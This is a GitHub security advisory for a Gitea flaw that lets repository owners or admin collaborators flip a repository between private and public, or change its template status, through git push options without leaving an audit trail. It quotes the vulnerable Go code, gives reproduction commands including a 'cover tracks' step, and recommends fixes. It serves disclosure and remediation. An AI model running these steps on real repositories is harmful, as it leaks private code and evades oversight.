GHSA-8P9H-49RC-QGXJ

Vulnerability from github – Published: 2026-07-21 21:02 – Updated: 2026-07-21 21:02
VLAI
Summary
Gitea: Repository Visibility Manipulation via Git Push Options
Details

Repository Visibility Manipulation via Git Push Options

Field Value
Affected File routers/private/hook_post_receive.go
Affected Function HookPostReceive()
Affected Lines 173–225
Prerequisite Attacker must have owner-level or admin collaborator access to the target repository

Description

Gitea's post-receive git hook handler processes git push options — key-value pairs transmitted by a client during git push using the -o flag. Two undocumented push options, repo.private and repo.template, allow any user with repository owner or admin-collaborator access to toggle the visibility (private/public) and template status of a repository as a side effect of a normal git push.

This capability was originally intended solely for the "push-to-create" feature (automatically creating a repo on first push). However, the options are processed without restriction on already-existing repositories, and — critically — the visibility change bypasses every control that a proper settings change would trigger:

  • No entry written to the repository's audit/activity log
  • No webhook event fired (repository event with visibility_changed action)
  • No org-level notification to owners
  • No team permission re-calculation
  • No email alert to watchers
  • The database update uses UpdateRepositoryColsNoAutoTime, which also suppresses the updated_at timestamp change

Vulnerable Code

routers/private/hook_post_receive.go:173–225

isPrivate  := opts.GitPushOptions.Bool(private.GitPushOptionRepoPrivate)  // "repo.private"
isTemplate := opts.GitPushOptions.Bool(private.GitPushOptionRepoTemplate) // "repo.template"

if isPrivate.Has() || isTemplate.Has() {
    // ... loads repo and verifies pusher is owner or admin ...
    if !perm.IsOwner() && !perm.IsAdmin() {
        ctx.JSON(http.StatusNotFound, ...)
        return
    }

    // FIXME: these options are not quite right, for example: changing visibility
    //        should do more works than just setting the is_private flag
    // These options should only be used for "push-to-create"
    if isPrivate.Has() && repo.IsPrivate != isPrivate.Value() {
        // TODO: it needs to do more work
        repo.IsPrivate = isPrivate.Value()
        repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_private")
        //         ^^^ bypasses updated_at timestamp, audit trail suppressed
    }
    if isTemplate.Has() && repo.IsTemplate != isTemplate.Value() {
        repo.IsTemplate = isTemplate.Value()
        repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_template")
    }
}

The push option constants are defined in modules/private/pushoptions.go:18–19:

GitPushOptionRepoPrivate  = "repo.private"
GitPushOptionRepoTemplate = "repo.template"

Attack Scenario

Scenario A — Insider threat / rogue admin collaborator

An organization grants a contractor repo admin access to contribute to a private repository containing proprietary source code. The contractor, before their access is revoked, makes a private repo public for several minutes — long enough to clone, archive, or index the content — then makes it private again. The action leaves no audit trail distinguishable from a normal git push.

Scenario B — Supply-chain template poisoning

A repository marked as a template is used by CI/CD pipelines to generate new project repositories. An admin collaborator uses repo.template=false to silently remove the template designation, then makes changes to the repo's content, re-marks it as a template with repo.template=true, and waits for downstream consumers to regenerate projects from the now-backdoored template. The updated_at timestamp is unchanged due to UpdateRepositoryColsNoAutoTime, making diff-detection harder.


Step-by-Step Reproduction

Prerequisites: - A Gitea user account with either owner or admin-collaborator access to a private repository - git client with push access to the repository


Step 1 — Confirm the target repository is private


Step 2 — Clone the repository

git clone http://USER:PASSWORD@<gitea-host>/OWNER/REPO.git /tmp/target-repo
cd /tmp/target-repo

Step 3 — Make any commit (the push option rides on a real push)

echo "$(date)" >> .gitkeep
git add .gitkeep
git commit -m "routine update"

Step 4 — Execute the exploit push

# Make the repository public
git push http://USER:PASSWORD@<gitea-host>/OWNER/REPO.git main \
  -o repo.private=false

# The push completes with a normal success message:
#   remote: Processed 1 references in total
#   To http://<gitea-host>/OWNER/REPO.git
#      abc1234..def5678  main -> main

Step 5 — Verify the repository is now public


Step 6 — Restore and cover tracks

Re-make it private in the same session, leaving no visible audit trail

The repository activity feed shows only two normal push events. The visibility change is invisible.

Verification: confirm no activity log entry


Impact Details

Impact Description
Data exfiltration Private source code, CI/CD secrets in plain-text files, environment configs become publicly cloneable for the window the repo is public
No audit trail UpdateRepositoryColsNoAutoTime suppresses the updated_at change; no activity log entry; no webhook; no notification
Supply chain Combined with repo.template=true/false, an attacker can silently rotate repository template status, affecting all downstream repositories that generate from this template
Scope Affects all repos where the attacker has admin-collaborator access — not only repos they own

Recommended Fix

Option 1 (preferred) — Remove the options from post-receive hook entirely. The repo.private and repo.template push options were designed for the push-to-create flow and have no legitimate use on existing repositories. They should be gated with:

// routers/private/hook_post_receive.go
if isPrivate.Has() || isTemplate.Has() {
    if !wasEmpty {
        // repo already existed — refuse these options on established repos
        log.Warn("Repo push options repo.private/repo.template ignored for existing repo %s", repoName)
        // do not process
    } else {
        // original push-to-create path only
        ...
    }
}

Option 2 — Route through the full visibility-change service so that audit events, webhooks, and team re-syncs are triggered:

// Instead of the raw UpdateRepositoryColsNoAutoTime call:
if err := repo_service.UpdateRepositoryVisibility(ctx, repo, isPrivate.Value()); err != nil {
    ...
}

Where UpdateRepositoryVisibility fires the repository webhook event and writes an activity log entry.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T21:02:44Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Repository Visibility Manipulation via Git Push Options\n\n| Field | Value |\n|-------|-------|\n| **Affected File** | `routers/private/hook_post_receive.go` |\n| **Affected Function** | `HookPostReceive()` |\n| **Affected Lines** | 173\u2013225 |\n| **Prerequisite** | Attacker must have owner-level or admin collaborator access to the target repository |\n\n---\n\n#### Description\n\nGitea\u0027s post-receive git hook handler processes git push options \u2014 key-value pairs transmitted by a client during `git push` using the `-o` flag. Two undocumented push options, `repo.private` and `repo.template`, allow any user with repository owner or admin-collaborator access to toggle the visibility (`private/public`) and template status of a repository as a side effect of a normal git push.\n\nThis capability was originally intended solely for the \"push-to-create\" feature (automatically creating a repo on first push). However, the options are processed without restriction on already-existing repositories, and \u2014 critically \u2014 the visibility change bypasses every control that a proper settings change would trigger:\n\n- No entry written to the repository\u0027s audit/activity log\n- No webhook event fired (`repository` event with `visibility_changed` action)\n- No org-level notification to owners\n- No team permission re-calculation\n- No email alert to watchers\n- The database update uses `UpdateRepositoryColsNoAutoTime`, which also suppresses the `updated_at` timestamp change\n\n\n---\n\n#### Vulnerable Code\n\n**`routers/private/hook_post_receive.go:173\u2013225`**\n\n```go\nisPrivate  := opts.GitPushOptions.Bool(private.GitPushOptionRepoPrivate)  // \"repo.private\"\nisTemplate := opts.GitPushOptions.Bool(private.GitPushOptionRepoTemplate) // \"repo.template\"\n\nif isPrivate.Has() || isTemplate.Has() {\n    // ... loads repo and verifies pusher is owner or admin ...\n    if !perm.IsOwner() \u0026\u0026 !perm.IsAdmin() {\n        ctx.JSON(http.StatusNotFound, ...)\n        return\n    }\n\n    // FIXME: these options are not quite right, for example: changing visibility\n    //        should do more works than just setting the is_private flag\n    // These options should only be used for \"push-to-create\"\n    if isPrivate.Has() \u0026\u0026 repo.IsPrivate != isPrivate.Value() {\n        // TODO: it needs to do more work\n        repo.IsPrivate = isPrivate.Value()\n        repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, \"is_private\")\n        //         ^^^ bypasses updated_at timestamp, audit trail suppressed\n    }\n    if isTemplate.Has() \u0026\u0026 repo.IsTemplate != isTemplate.Value() {\n        repo.IsTemplate = isTemplate.Value()\n        repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, \"is_template\")\n    }\n}\n```\n\nThe push option constants are defined in `modules/private/pushoptions.go:18\u201319`:\n\n```go\nGitPushOptionRepoPrivate  = \"repo.private\"\nGitPushOptionRepoTemplate = \"repo.template\"\n```\n\n---\n\n#### Attack Scenario\n\n**Scenario A \u2014 Insider threat / rogue admin collaborator**\n\nAn organization grants a contractor repo admin access to contribute to a private repository containing proprietary source code. The contractor, before their access is revoked, makes a private repo public for several minutes \u2014 long enough to clone, archive, or index the content \u2014 then makes it private again. The action leaves no audit trail distinguishable from a normal git push.\n\n**Scenario B \u2014 Supply-chain template poisoning**\n\nA repository marked as a template is used by CI/CD pipelines to generate new project repositories. An admin collaborator uses `repo.template=false` to silently remove the template designation, then makes changes to the repo\u0027s content, re-marks it as a template with `repo.template=true`, and waits for downstream consumers to regenerate projects from the now-backdoored template. The `updated_at` timestamp is unchanged due to `UpdateRepositoryColsNoAutoTime`, making diff-detection harder.\n\n---\n\n#### Step-by-Step Reproduction\n\n**Prerequisites:**\n- A Gitea user account with either owner or admin-collaborator access to a private repository\n- `git` client with push access to the repository\n\n---\n\n**Step 1 \u2014 Confirm the target repository is private**\n\n---\n\n**Step 2 \u2014 Clone the repository**\n\n```bash\ngit clone http://USER:PASSWORD@\u003cgitea-host\u003e/OWNER/REPO.git /tmp/target-repo\ncd /tmp/target-repo\n```\n\n---\n\n**Step 3 \u2014 Make any commit** *(the push option rides on a real push)*\n\n```bash\necho \"$(date)\" \u003e\u003e .gitkeep\ngit add .gitkeep\ngit commit -m \"routine update\"\n```\n\n---\n\n**Step 4 \u2014 Execute the exploit push**\n\n```bash\n# Make the repository public\ngit push http://USER:PASSWORD@\u003cgitea-host\u003e/OWNER/REPO.git main \\\n  -o repo.private=false\n\n# The push completes with a normal success message:\n#   remote: Processed 1 references in total\n#   To http://\u003cgitea-host\u003e/OWNER/REPO.git\n#      abc1234..def5678  main -\u003e main\n```\n\n---\n\n**Step 5 \u2014 Verify the repository is now public**\n\n\n---\n\n**Step 6 \u2014 Restore and cover tracks**\n\nRe-make it private in the same session, leaving no visible audit trail\n\nThe repository activity feed shows only two normal push events. The visibility change is invisible.\n\n**Verification: confirm no activity log entry**\n\n\n---\n\n#### Impact Details\n\n| Impact | Description |\n|--------|-------------|\n| **Data exfiltration** | Private source code, CI/CD secrets in plain-text files, environment configs become publicly cloneable for the window the repo is public |\n| **No audit trail** | `UpdateRepositoryColsNoAutoTime` suppresses the `updated_at` change; no activity log entry; no webhook; no notification |\n| **Supply chain** | Combined with `repo.template=true/false`, an attacker can silently rotate repository template status, affecting all downstream repositories that generate from this template |\n| **Scope** | Affects all repos where the attacker has admin-collaborator access \u2014 not only repos they own |\n\n---\n\n#### Recommended Fix\n\n**Option 1 (preferred) \u2014 Remove the options from post-receive hook entirely.** The `repo.private` and `repo.template` push options were designed for the push-to-create flow and have no legitimate use on existing repositories. They should be gated with:\n\n```go\n// routers/private/hook_post_receive.go\nif isPrivate.Has() || isTemplate.Has() {\n    if !wasEmpty {\n        // repo already existed \u2014 refuse these options on established repos\n        log.Warn(\"Repo push options repo.private/repo.template ignored for existing repo %s\", repoName)\n        // do not process\n    } else {\n        // original push-to-create path only\n        ...\n    }\n}\n```\n\n**Option 2 \u2014 Route through the full visibility-change service** so that audit events, webhooks, and team re-syncs are triggered:\n\n```go\n// Instead of the raw UpdateRepositoryColsNoAutoTime call:\nif err := repo_service.UpdateRepositoryVisibility(ctx, repo, isPrivate.Value()); err != nil {\n    ...\n}\n```\n\nWhere `UpdateRepositoryVisibility` fires the `repository` webhook event and writes an activity log entry.",
  "id": "GHSA-8p9h-49rc-qgxj",
  "modified": "2026-07-21T21:02:44Z",
  "published": "2026-07-21T21:02:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-8p9h-49rc-qgxj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Repository Visibility Manipulation via Git Push Options"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…